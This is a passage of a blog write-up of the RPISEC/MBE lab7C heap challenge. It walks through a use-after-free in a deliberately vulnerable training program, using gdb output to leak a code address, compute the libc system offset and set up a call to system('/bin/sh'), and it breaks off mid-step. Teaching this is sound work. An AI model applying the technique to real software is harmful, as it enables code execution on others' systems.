{"id":386,"date":"2018-02-23T11:12:47","date_gmt":"2018-02-23T11:12:47","guid":{"rendered":"https:\/\/devel0pment.de\/?p=386"},"modified":"2018-05-20T19:54:08","modified_gmt":"2018-05-20T19:54:08","slug":"rpisec-mbe-writeup-lab06-heap-exploitation","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=386","title":{"rendered":"RPISEC\/MBE: writeup lab07 (Heap Exploitation)"},"content":{"rendered":"<p>After we have introduced <i>ASLR<\/i> and ways to bypass it in <a href=\"https:\/\/devel0pment.de\/?p=378\">the last writeup<\/a>, we will expand our exploits to the <i>Heap<\/i> in this lab.<\/p>\n<p>In this lab there are only two levels:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=386#lab7C\">lab7C<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=386#lab7A\">lab7A<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"lab7C\">lab7C<\/h1>\n<p>We can connect to the first level of this lib using the credentials <span style=\"color: #ff0000;\">lab7C<\/span> with the password <span style=\"color: #ff0000;\">lab07start<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab7C@localhost\r\n&#x5B;sudo] password for gameadmin:\r\nlab7C@localhost's password: (lab07start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Thu Jan 25 02:00:14 2018 from localhost\r\n<\/pre>\n<p>As usual we have access to the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [1,11,12,13,14,15,17,18,19,20,21,43,58,79,83,87,91,94,106,115,123,127,139,147,150,153]; title: ; notranslate\" title=\"\">\r\nlab7C@warzone:\/levels\/lab07$ cat lab7C.c\r\n\/* compiled with: gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab7C lab7C.c *\/\r\n#include &lt;stdio.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\n#define MAX_STR 6\r\n#define MAX_NUM 6\r\n\r\nstruct data {\r\n    char reserved&#x5B;8];\r\n    char buffer&#x5B;20];\r\n    void (* print)(char *);\r\n};\r\n\r\nstruct number {\r\n    unsigned int reserved&#x5B;6];               \/\/ implement later\r\n    void (* print)(unsigned int);\r\n    unsigned int num;\r\n};\r\n\r\nvoid small_str(char * a_str)\r\n{\r\n    printf(&quot;here's your lame string: %s\\n&quot;, a_str);\r\n}\r\n\r\nvoid big_str(char * a_str)\r\n{\r\n    printf(&quot;nice big str yo: %s\\n&quot;, a_str);\r\n}\r\n\r\nvoid small_num(unsigned int a_num)\r\n{\r\n    printf(&quot;not 1337 enough: %u\\n&quot;, a_num);\r\n}\r\n\r\nvoid big_num(unsigned int a_num)\r\n{\r\n    printf(&quot;tite number dawg: %u\\n&quot;, a_num);\r\n}\r\n\r\nvoid print_menu()\r\n{\r\n    printf(&quot;-- UAF Playground Menu ----------------------\\n&quot;\r\n           &quot;1. Make a string\\n&quot;\r\n           &quot;2. Make a number\\n&quot;\r\n           &quot;3. Delete a string\\n&quot;\r\n           &quot;4. Delete a number\\n&quot;\r\n           &quot;5. Print a string\\n&quot;\r\n           &quot;6. Print a number\\n&quot;\r\n           &quot;7. Quit\\n&quot;\r\n           &quot;---------------------------------------------\\n&quot;\r\n           &quot;Enter Choice: &quot;);\r\n}\r\n\r\n\/* bugs galore... but no memory corruption! *\/\r\nint main(int argc, char * argv&#x5B;])\r\n{\r\n    struct data * strings&#x5B;MAX_STR] = {0};\r\n    struct number * numbers&#x5B;MAX_NUM] = {0};\r\n    struct data * tempstr = NULL;\r\n    struct number * tempnum = NULL;\r\n\r\n    int strcnt = 0;\r\n    int numcnt = 0;\r\n    unsigned int choice = 0;\r\n    unsigned int index = 0;\r\n\r\n    while(1)\r\n    {\r\n        print_menu();\r\n\r\n        \/* get menu option *\/\r\n        if((choice = get_unum()) == EOF)\r\n            break;\r\n\r\n        \/* make a string *\/\r\n        if(choice == 1)\r\n        {\r\n            if(strcnt &lt; MAX_STR)\r\n            {\r\n                tempstr = malloc(sizeof(struct data));\r\n\r\n                \/* no memory corruption this time *\/\r\n                printf(&quot;Input string to store: &quot;);\r\n                fgets(tempstr-&gt;buffer, 20, stdin);\r\n                tempstr-&gt;buffer&#x5B;strcspn(tempstr-&gt;buffer, &quot;\\n&quot;)] = 0;\r\n\r\n                \/* pick a print function *\/\r\n                tempstr-&gt;print = strlen(tempstr-&gt;buffer) &gt; 10 ? big_str : small_str;\r\n\r\n                \/* store the string to our master list *\/\r\n                strings&#x5B;++strcnt] = tempstr;\r\n                printf(&quot;Created new string!\\n&quot;);\r\n            }\r\n            else\r\n                printf(&quot;Please delete a string before trying to make another!\\n&quot;);\r\n        }\r\n\r\n        \/* make a number *\/\r\n        else if(choice == 2)\r\n        {\r\n            if(numcnt &lt; MAX_NUM)\r\n            {\r\n                tempnum = malloc(sizeof(struct number));\r\n\r\n                printf(&quot;Input number to store: &quot;);\r\n                tempnum-&gt;num = get_unum();\r\n\r\n                \/* pick a print function *\/\r\n                tempnum-&gt;print = tempnum-&gt;num &gt; 0x31337 ? big_num : small_num;\r\n\r\n                \/* store the number to our master list *\/\r\n                numbers&#x5B;++numcnt] = tempnum;\r\n                printf(&quot;Created new number!\\n&quot;);\r\n            }\r\n            else\r\n                printf(&quot;Please delete a number before trying to make another!\\n&quot;);\r\n        }\r\n\r\n        \/* delete a string *\/\r\n        else if(choice == 3)\r\n        {\r\n            if(strcnt &amp;&amp; strings&#x5B;strcnt])\r\n            {\r\n                free(strings&#x5B;strcnt--]);\r\n                printf(&quot;Deleted most recent string!\\n&quot;);\r\n            }\r\n            else\r\n                printf(&quot;There are no strings left to delete!\\n&quot;);\r\n        }\r\n\r\n        \/* delete a number *\/\r\n        else if(choice == 4)\r\n        {\r\n            if(numcnt &amp;&amp; numbers&#x5B;numcnt])\r\n            {\r\n                free(numbers&#x5B;numcnt--]);\r\n                printf(&quot;Deleted most recent number!\\n&quot;);\r\n            }\r\n            else\r\n                printf(&quot;There are no numbers left to delete!\\n&quot;);\r\n        }\r\n\r\n        \/* print a string *\/\r\n        else if(choice == 5)\r\n        {\r\n            printf(&quot;String index to print: &quot;);\r\n            index = get_unum();\r\n\r\n            if(index &lt; MAX_STR &amp;&amp; strings&#x5B;index])\r\n                strings&#x5B;index]-&gt;print(strings&#x5B;index]-&gt;buffer);\r\n            else\r\n                printf(&quot;There is no string to print!\\n&quot;);\r\n        }\r\n\r\n        \/* print a number *\/\r\n        else if(choice == 6)\r\n        {\r\n            printf(&quot;Number index to print: &quot;);\r\n            index = get_unum();\r\n\r\n            if(index &lt; MAX_NUM &amp;&amp; numbers&#x5B;index])\r\n                numbers&#x5B;index]-&gt;print(numbers&#x5B;index]-&gt;num);\r\n            else\r\n                printf(&quot;There is no number to print!\\n&quot;);\r\n        }\r\n\r\n        \/* quit *\/\r\n        else if(choice == 7)\r\n            break;\r\n\r\n        \/* base case *\/\r\n        else\r\n            printf(&quot;Invalid choice!\\n&quot;);\r\n\r\n        index = 0;\r\n        choice = 0;\r\n        printf(&quot;\\n&quot;);\r\n    }\r\n\r\n    printf(&quot;See you tomorrow!\\n&quot;);\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; The binary is compiled with the flags <code>-pie -fPIE<\/code> (line 1), which means that even the memory segments of the binary itself (<code>.text<\/code>, <code>.plt<\/code>, <code>.got<\/code>, &#8230;) are randomized.<br \/>\n&#8211;&gt; There are two structs: <code>data<\/code> (lines 11-15) and <code>number<\/code> (lines 17-21). We will look at the details shortly.<br \/>\n&#8211;&gt; Within the <code>main<\/code> function (line 58) a menu is displayed by calling <code>print_menu<\/code> (line 43) giving the following options:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Making a string \/ number.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Deleting a string \/ number.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Printing a string \/ number.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Quitting the program.<br \/>\n&#8211;&gt; When <code>1. Make a string<\/code> is selected (line 79), memory is allocated for a <code>struct data<\/code> using <code>malloc<\/code> (line 83).<br \/>\n&#8211;&gt; The member <code>tempstr->buffer<\/code> is filled with user input by calling <code>fgets<\/code> (line 87).<br \/>\n&#8211;&gt; Depending on the size of the user input the member <code>tempstr->print<\/code> is set to the function <code>big_str<\/code> or <code>small_str<\/code> (line 91).<br \/>\n&#8211;&gt; At last the address of the newly created <code>struct data<\/code> is stored in the array <code>strings<\/code> (line 94).<br \/>\n&#8211;&gt; When <code>3. Delete a string<\/code> is selected (line 123), the formerly allocated memory is freed by calling <code>free<\/code> (line 127).<br \/>\n&#8211;&gt; When <code>5. Print a string<\/code> is selected (line 147), the user can enter an index (line 150) which is used to call the <code>print<\/code> member-function (line 153).<br \/>\n&#8211;&gt; Basically the same is done for numbers using the <code>struct number<\/code>.<\/p>\n<p>Where is the vulnerability within the program?<br \/>\nThe memory for the instances of both structs (<code>data<\/code> and <code>number<\/code>) is allocated using <code>malloc<\/code> (line 83 and 106). <code>malloc<\/code> returns a pointer to the newly allocated memory, which is stored in the pointer array <code>strings<\/code> \/ <code>numbers<\/code> (line 94 and 115). When deleting a string or number, the previously allocated memory is released using <code>free<\/code> (line 127 and 139). The one and only argument passed to <code>free<\/code> is a pointer to a formerly allocated memory region. <code>free<\/code> deallocates this memory region so that a subsequent call to <code>malloc<\/code> can use this memory again. One important aspect to notice is that <code>free<\/code> does not change the pointer being passed! This means that the pointer still refers to the now deallocated memory region. Such a pointer is called <i>Dangling Pointer<\/i>. On a subsequent call to <code>malloc<\/code> the memory region the pointer is referring to is allocated again, but possibly not to hold the same type of object as before. If the dangling pointer is now used to read or modify the referred object, there might actually be another type of object within the allocated memory, leading to unintended behaviour. This kind of vulnerability is called <i>Use After Free<\/i>, because the dangling pointer is <b>use<\/b>d to read or modify an object <b>after<\/b> the associated memory has been <b>free<\/b>d.<\/p>\n<p>The vulnerability in this level could have been fixed easily by setting the pointer within the array <code>strings<\/code> \/ <code>numbers<\/code> to <code>NULL<\/code> after the call to <code>free<\/code>. Because this has not been done, we can print an object even after it has been deleted:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,11,12,13,18,24,25,32,36,37,38]; title: ; notranslate\" title=\"\">\r\nlab7C@warzone:\/levels\/lab07$ .\/lab7C\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 1\r\nInput string to store: AAAA\r\nCreated new string!\r\n\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 3\r\nDeleted most recent string!\r\n\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 5\r\nString index to print: 1\r\nhere's your lame string: AAAA\r\n\r\n<\/pre>\n<p>As this is not so crucial, things are getting worse when we create a new number after we have deleted the string and then try to print the string:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [2,3,7,14,15,16,23,27,28,29]; title: ; notranslate\" title=\"\">\r\n...\r\nEnter Choice: 3\r\nDeleted most recent string!\r\n\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 2\r\nInput number to store: 1337\r\nCreated new number!\r\n\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 5\r\nString index to print: 1\r\nSegmentation fault (core dumped)\r\n<\/pre>\n<p><code>Segmentation fault<\/code>! Let&#8217;s have a look at the two structs <code>data<\/code> and <code>number<\/code> in order to think about how we can leverage this vulnerability:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_01.png\" alt=\"\" width=\"960\" height=\"378\" class=\"alignnone size-full wp-image-387\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_01.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_01-300x118.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_01-768x302.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The image shows both structs side by side. As we already figured out, a memory region deallocated by <code>free<\/code> is reused by a subsequent call to <code>malloc<\/code>, which means that the former object is overwritten with the new object. So why are we getting a segmentation fault when trying to print the string after it has been overwritten with the <code>number<\/code> struct? We can figured out what caused the segmentation fault using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,28,38,41,53,54]; title: ; notranslate\" title=\"\">\r\nlab7C@warzone:\/levels\/lab07$ gdb lab7C\r\nReading symbols from lab7C...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab07\/lab7C\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 1\r\nInput string to store: AAAA\r\nCreated new string!\r\n...\r\nEnter Choice: 3\r\nDeleted most recent string!\r\n...\r\nEnter Choice: 2\r\nInput number to store: 1337\r\nCreated new number!\r\n...\r\nEnter Choice: 5\r\nString index to print: 1\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x539\r\nEBX: 0xb774af98 --&gt; 0x2ea0\r\nECX: 0xb77168a4 --&gt; 0x0\r\nEDX: 0xb9359010 (&quot;AAAA&quot;)\r\nESI: 0x18\r\nEDI: 0x0\r\nEBP: 0xbfa58a88 --&gt; 0x0\r\nESP: 0xbfa589fc --&gt; 0xb7749071 (&lt;main+812&gt;:     jmp    0xb77490fb &lt;main+950&gt;)\r\nEIP: 0x539\r\nEFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x539\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbfa589fc --&gt; 0xb7749071 (&lt;main+812&gt;:    jmp    0xb77490fb &lt;main+950&gt;)\r\n0004| 0xbfa58a00 --&gt; 0xb9359010 (&quot;AAAA&quot;)\r\n0008| 0xbfa58a04 --&gt; 0xb7749357 --&gt; 0x7243000a ('\\n')\r\n0012| 0xbfa58a08 --&gt; 0xb7715c20 --&gt; 0xfbad2288\r\n0016| 0xbfa58a0c --&gt; 0x0\r\n0020| 0xbfa58a10 --&gt; 0x1\r\n0024| 0xbfa58a14 --&gt; 0x0\r\n0028| 0xbfa58a18 --&gt; 0xbfa58b24 --&gt; 0xbfa598d4 (&quot;\/levels\/lab07\/lab7C&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x00000539 in ?? ()\r\n<\/pre>\n<p>The segmentation fault is caused by an invalid instruction pointer (<code>eip<\/code>) which contains the value <code>0x539<\/code> = <code>1337<\/code>. This is the value we enter as the new number. What happened here?<\/p>\n<p>At first the memory for the string is allocated, which is interpreted as a <code>struct data<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 62; title: ; notranslate\" title=\"\">\r\n    struct data * tempstr = NULL;\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 83; title: ; notranslate\" title=\"\">\r\n                tempstr = malloc(sizeof(struct data));\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_a.png\" alt=\"\" width=\"567\" height=\"756\" class=\"alignnone size-full wp-image-388\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_a.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_a-225x300.png 225w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>Then the user string is stored within the struct and terminated with a null-byte. After this the <code>print<\/code> member function is set to <code>big_str<\/code> \/ <code>small_str<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 87; title: ; notranslate\" title=\"\">\r\n                fgets(tempstr-&gt;buffer, 20, stdin);\r\n                tempstr-&gt;buffer&#x5B;strcspn(tempstr-&gt;buffer, &quot;\\n&quot;)] = 0;\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 91; title: ; notranslate\" title=\"\">\r\n                tempstr-&gt;print = strlen(tempstr-&gt;buffer) &gt; 10 ? big_str : small_str;\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_b.png\" alt=\"\" width=\"567\" height=\"756\" class=\"alignnone size-full wp-image-389\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_b.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_b-225x300.png 225w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>The pointer to the struct is stored in the array <code>strings<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 94; title: ; notranslate\" title=\"\">\r\n                strings&#x5B;++strcnt] = tempstr;\r\n<\/pre>\n<p>At next we have chosen <code>3. Delete a string<\/code>, which deallocates the memory:<\/p>\n<pre class=\"brush: cpp; first-line: 127; title: ; notranslate\" title=\"\">\r\n                free(strings&#x5B;strcnt--]);\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_c.png\" alt=\"\" width=\"567\" height=\"378\" class=\"alignnone size-full wp-image-390\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_c.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_c-300x200.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>As the pointer within <code>strings<\/code> is not changed, it still references the deallocated memory.<\/p>\n<p>After this we created a new number choosing <code>2. Make a number<\/code>. In this case <code>malloc<\/code> is used to allocated memory for a <code>struct number<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 63; title: ; notranslate\" title=\"\">\r\n    struct number * tempnum = NULL;\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 106; title: ; notranslate\" title=\"\">\r\n                tempnum = malloc(sizeof(struct number));\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_d.png\" alt=\"\" width=\"567\" height=\"756\" class=\"alignnone size-full wp-image-391\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_d.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_d-225x300.png 225w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>As shown in the image, the pointer within <code>strings<\/code> still references the memory.<\/p>\n<p>At next the user number is read and the appropriate <code>print<\/code> member-function is set:<\/p>\n<pre class=\"brush: cpp; first-line: 109; title: ; notranslate\" title=\"\">\r\n                tempnum-&gt;num = get_unum();\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 112; title: ; notranslate\" title=\"\">\r\n                tempnum-&gt;print = tempnum-&gt;num &gt; 0x31337 ? big_num : small_num;\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_e.png\" alt=\"\" width=\"567\" height=\"756\" class=\"alignnone size-full wp-image-392\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_e.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_e-225x300.png 225w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>Finally we selected <code>5. Print a string<\/code> which tries to call the member-function <code>print<\/code> on the <code>struct data<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 153; title: ; notranslate\" title=\"\">\r\n                strings&#x5B;index]-&gt;print(strings&#x5B;index]-&gt;buffer);\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_f.png\" alt=\"\" width=\"567\" height=\"378\" class=\"alignnone size-full wp-image-393\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_f.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_02_f-300x200.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>This causes the segmentation fault since <code>print<\/code> does not contain the valid function pointer to <code>small_str<\/code> anymore but the number we just entered.<\/p>\n<p>How do we exploit this vulnerability? As we already figured out, the binary is compiled using the flags <code>-pie -fPIE<\/code>, which means that we do not know even know an address of the binary itself during runtime. If we could leverage the vulnerability to leak a memory address, we could use this address as a reference to calculate the address of a function we would like to call. Since the libc is linked dynamically we can use the function <code>system<\/code> as we did in <a href=\"https:\/\/www.devel0pment.de\/?p=366#lab5C\">lab5C<\/a> (<i>ret2libc<\/i>):<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p system\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb75ab190 &lt;__libc_system&gt;\r\n<\/pre>\n<p>Summing it up we have to:<br \/>\n(1) Leak a memory-address and calculate address of <code>__libc_system<\/code><br \/>\n(2) Call <code>__libc_system<\/code> passing the string <code>\"\/bin\/sh\"<\/code><\/p>\n<h2>(1) leak memory-address<\/h2>\n<p>We basically have two possibilities to use our discovered <i>Use After Free<\/i> vulnerability:<br \/>\n&#8211;&gt; We can treat a <code>struct number<\/code> as a <code>struct data<\/code>.<br \/>\n&#8211;&gt; We can treat a <code>struct data<\/code> as a <code>struct number<\/code>.<\/p>\n<p>The function-pointers within the structs are essential. The <code>print<\/code> member-function of <code>struct number<\/code> takes an unsigned integer argument which is being printed. The function is called passing the member variable <code>num<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 165; title: ; notranslate\" title=\"\">\r\n                numbers&#x5B;index]-&gt;print(numbers&#x5B;index]-&gt;num);\r\n<\/pre>\n<p>When we inspect both structs side by side again, we can see that <code>num<\/code> within <code>struct num<\/code> resides at the same offset as <code>print<\/code> within <code>struct data<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_03.png\" alt=\"\" width=\"960\" height=\"226\" class=\"alignnone size-full wp-image-394\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_03.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_03-300x71.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_03-768x181.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>We can leverage this by starting to create a number:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_a.png\" alt=\"\" width=\"567\" height=\"378\" class=\"alignnone size-full wp-image-395\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_a.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_a-300x200.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>The member-function <code>print<\/code> is now set to the address of <code>small_num<\/code>.<\/p>\n<p>We directly delete this number again and create a string. As input we enter <code>\"\/bin\/sh\"<\/code>, which we will use later. You might already guess what we will use this for \ud83d\ude09<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_b.png\" alt=\"\" width=\"567\" height=\"378\" class=\"alignnone size-full wp-image-396\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_b.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_b-300x200.png 300w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>Now the memory is already set up to leak the address of <code>small_str<\/code>! We just have to call <code>print<\/code> on the dangling pointer to <code>struct number<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_c.png\" alt=\"\" width=\"567\" height=\"567\" class=\"alignnone size-full wp-image-397\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_c.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_c-150x150.png 150w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_c-300x300.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_c-100x100.png 100w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><\/p>\n<p>As you can see in the image, the member <code>num<\/code> has been overwritten with the address of <code>small_str<\/code>, which will be printed if we choose <code>6. Print a number<\/code>.<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab7C@warzone:\/levels\/lab07$ .\/lab7C\r\n-- UAF Playground Menu ----------------------\r\n1. Make a string\r\n2. Make a number\r\n3. Delete a string\r\n4. Delete a number\r\n5. Print a string\r\n6. Print a number\r\n7. Quit\r\n---------------------------------------------\r\nEnter Choice: 2\r\nInput number to store: 1337\r\nCreated new number!\r\n...\r\nEnter Choice: 4\r\nDeleted most recent number!\r\n...\r\nEnter Choice: 1\r\nInput string to store: \/bin\/sh\r\nCreated new string!\r\n...\r\nEnter Choice: 6\r\nNumber index to print: 1\r\nnot 1337 enough: 3077868487\r\n<\/pre>\n<p>With the leaked memory address we can easily calculate the address of <code>__libc_system<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p system\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb75ab190 &lt;__libc_system&gt;\r\ngdb-peda$ p small_str\r\n$2 = {&lt;text variable, no debug info&gt;} 0xb7748bc7 &lt;small_str&gt;\r\ngdb-peda$ p small_str - system\r\n$3 = 0x19da37\r\n<\/pre>\n<p>Thus we have to subtract <code>0x19da37<\/code> from the leaked address of <code>small_str<\/code> to get the address of <code>__libc_system<\/code>.<\/p>\n<h2>(2) calling __libc_system<\/h2>\n<p>As we have the address of <code>__libc_system<\/code> now, we just need to call it passing the string <code>\"\/bin\/sh\"<\/code> as argument. Luckily we already stored <code>\"\/bin\/sh\"<\/code> in the member variable <code>buffer<\/code>. This means that we just have to put the address of <code>__libc_system<\/code> in the right place. We do this by deleting the previously create string again and create a number entering the address of <code>__libc_system<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_d.png\" alt=\"\" width=\"567\" height=\"415\" class=\"alignnone size-full wp-image-398\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_d.png 567w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab7C_04_d-300x220.png 300w\" sizes=\"(max-width: 567px) 